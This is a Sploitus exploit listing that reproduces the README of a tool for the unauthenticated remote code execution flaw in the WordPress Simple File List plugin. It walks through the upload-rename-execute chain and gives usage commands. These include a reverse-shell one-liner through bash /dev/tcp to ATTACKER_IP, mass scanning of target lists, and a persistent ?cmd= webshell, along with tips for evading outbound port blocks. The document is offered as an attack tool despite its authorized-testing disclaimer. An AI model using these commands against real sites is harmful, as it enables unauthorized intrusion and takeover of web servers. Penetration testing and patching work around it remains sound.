Sploitus

Exploit for CVE-2025-34085

githubexploit · 2026-02-10

Exploit Code

README114 lines
## https://sploitus.com/exploit?id=7205E4D4-7E1C-50C1-B240-D2166DBC0C7C
# CVE-2025-34085 — WordPress Simple File List Unauthenticated RCE

An automated exploit for **CVE-2025-34085** (duplicate of **CVE-2020-36847**), a critical unauthenticated remote code execution vulnerability in the **WordPress Simple File List** plugin versions **≤ 4.2.2**.

> **Note:** CVE-2025-34085 was rejected by MITRE as a duplicate of CVE-2020-36847. The vulnerability is real and patched in version 4.2.3. Both CVE IDs refer to the same underlying issue.

## Vulnerability Summary

| Field | Detail |
|---|---|
| **CVE** | CVE-2025-34085 / CVE-2020-36847 |
| **Plugin** | [Simple File List](https://wordpress.org/plugins/simple-file-list/) |
| **Affected Versions** | ≤ 4.2.2 |
| **Fixed Version** | 4.2.3 |
| **Type** | Unrestricted File Upload → Rename Bypass → RCE |
| **CVSS** | 9.8 (Critical) |
| **Authentication** | None required |
| **Original Discovery** | coiffeur |
| **Metasploit Module** | `exploit/multi/http/wp_simple_file_list_rce` |

## How It Works

1. **Upload** — A PHP payload is uploaded disguised as a `.png` file via the plugin's upload endpoint (`ee-upload-engine.php`). The upload engine validates extensions but accepts image files.

2. **Rename** — The plugin's rename functionality (`ee-file-engine.php`) does **not** enforce extension restrictions. The attacker renames the `.png` to `.php` (or `.phtml`, `.php5`, `.php3`).

3. **Execute** — The renamed PHP file is now accessible and executable in the uploads directory at `/wp-content/uploads/simple-file-list/`, giving the attacker arbitrary command execution.

## Requirements

```
pip install requests colorama
```

Python 3.6+

## Usage

### Single Target

```bash
python3 CVE-2025-34085.py -u http://target.com --cmd "id"
```

### Single Target with Inline Command (no `?cmd=` parameter)

```bash
python3 CVE-2025-34085.py -u http://target.com --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" --inline
```

### Mass Scanning

Create a `targets.txt` file with one URL per line:

```
http://target1.com
http://target2.com
https://target3.com
```

```bash
python3 CVE-2025-34085.py --cmd "id"
```

### Arguments

| Argument | Description | Default |
|---|---|---|
| `-u`, `--url` | Single target URL | — |
| `--cmd` | Command to execute on the target | `id` |
| `--inline` | Inject command directly into the PHP shell (hardcoded, no `?cmd=` webshell) | `False` |

> **Tip:** Use `--inline` when you need a reverse shell or when the target has query string filtering. Without `--inline`, the exploit drops a webshell that accepts commands via `?cmd=`.

## Output

Successful exploits are logged to `vuln.txt`:

```
http://target.com | http://target.com/wp-content/uploads/simple-file-list/shell.php | uid=33(www-data) gid=33(www-data)
```

## OPSEC Notes for OSCP

- The exploit uploads a PHP file to disk — this **will** leave artifacts
- The webshell persists at `/wp-content/uploads/simple-file-list/<random>.php`
- Successful uploads are logged to `vuln.txt` locally — useful for your report
- For the exam, use `--inline` with a reverse shell to avoid leaving a persistent webshell with `?cmd=`
- If the target blocks outbound ports, try common allowed ports (80, 443, 53)

## References

- [NVD — CVE-2025-34085](https://nvd.nist.gov/vuln/detail/CVE-2025-34085)
- [NVD — CVE-2020-36847](https://nvd.nist.gov/vuln/detail/CVE-2020-36847)
- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/simple-file-list/simple-file-list-423-remote-code-execution)
- [Metasploit Module](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wp_simple_file_list_rce.rb)
- [Plugin Changelog (Patch)](https://plugins.trac.wordpress.org/changeset/2286920/simple-file-list)
- [Exploit-DB #48979](https://www.exploit-db.com/exploits/48979)
- [Original PoC by coiffeur — Exploit-DB #48349](https://www.exploit-db.com/exploits/48349)

## Remediation

Upgrade the Simple File List plugin to **version 4.2.3 or later**.

## Disclaimer

This tool is intended for **authorized penetration testing and educational purposes only**. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.

## Credits

- **Original vulnerability discovery:** coiffeur
- **Original exploit script:** 0xgh057r3c0n, B1ack4sh (Ashwesker)
- **Maintained by:** [0xgunrunner](https://github.com/0xgunrunner)